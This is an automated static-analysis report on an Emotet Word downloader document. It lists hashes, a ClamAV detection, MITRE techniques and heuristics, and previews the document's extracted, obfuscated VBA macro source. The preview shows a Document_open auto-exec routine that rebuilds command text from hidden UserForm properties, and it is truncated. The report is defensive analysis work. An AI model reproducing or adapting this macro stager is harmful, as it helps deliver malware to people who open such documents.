Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 53edc433f8c2a57d…

MALICIOUS

Office (OLE)

185.0 KB Created: 2019-12-17 09:17:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 1ab817fb371f6c6fcb00fc34567cf5cb SHA-1: 00945b9643d7cff90488dcfa608e5fa070612623 SHA-256: 53edc433f8c2a57d0100cf5dfadc625ead3bc8f9d7dd6de669bb7419f40f757a
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7461037-0', indicating a known downloader variant of the Emotet family. Static analysis reveals the presence of VBA macros, specifically a 'Document_Open' macro, which is a common technique for auto-execution. The heuristics also indicate a hidden UserForm command stager and the use of CreateObject, suggesting the macro is designed to download and execute a secondary payload. The VBA code itself is heavily obfuscated with meaningless variable names and loops, further supporting the stager functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9822 bytes
SHA-256: 1903b96a86f5973da5c17839e88d0078ac04084580972a592171487bd1dd8502
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Wilenkyrpsm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Dfxqdxuzioeik, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Coglgycj = Alneacpht To Gwuqrybqreopl
         Flpqcghs = Njndejvyhv
         Voabsuamwc = Wesdpqzdyedoo
Next
Select Case Usqeiltqaqb
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Fnwncizshz = Gmscyetn To Vixxxzkj
         Nbmshzwxuwbdz = Uwwxxajmcs
         Fkzhypdrfza = Ivscbsjzmcdnm
Next
Select Case Dokzukqnuodn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Blgakuvdzth = Brbnjdautifey To Eklrfxqczu
         Bsscvcsvvzb = Fvhdawmwmyph
         Bkobstnzcaf = Fcofjnwa
Next
Select Case Zzxetotdvf
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Thoaeemczckfb
End Sub

Attribute VB_Name = "Kbmqnjcrxios"
Attribute VB_Base = "0{30306738-B22F-4812-B5E9-3362E79DD173}{C307AF8C-2795-434F-92FA-B8C71C7CFB72}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Jbrhrcgux"
Function Ghmcamzgxvex()
   For Izksoxgrkora = Tqyxfwbnsohfa To Evztccjct
         Wybqvevuewst = Svhvkjwtmgtrh
         Jnfhlzclcsdj = Imbnujgcg
Next
Select Case Xdlvxdwzz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Cheooqkui = Wilenkyrpsm.Dfxqdxuzioeik
   For Fejoyqwyvzyj = Sucvqatxschdi To Ucxsvhypgbxd
         Zfkaqxyopnv = Lhgvhdfbx
         Gsufwutxcjt = Crvugnjwwymiz
Next
Select Case Zlncdttydtr
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Usysbtrq = Cheooqkui + Kbmqnjcrxios.Xvahhitanf + Kbmqnjcrxios.Gytuaxyotbq + Kbmqnjcrxios.Mpsxvgixa
   For Wevkxwuwrgh = Zqlzhcyk To Khlupzckdjjuf
         Fzpxwsawd = Szzabdqfkdmbf
         Weurflbsbcj = Gklhnphdkc
Next
Select Case Dazetyjah
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Bvrwagrhmdgnq = Usysbtrq + Kbmqnjcrxios.Uqdnyoszrbls + Kbmqnjcrxios.Nzcyipuypw
   For Vwtmybcv = Mqlmegifmfjuq To Smryyncznrlp
         Xnenagoypxl = Oasaflsfolxlj
         Yvsrtposegp = Uxtmnnozu
Next
Select Case Ewkjbgbqw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVf
... (truncated)

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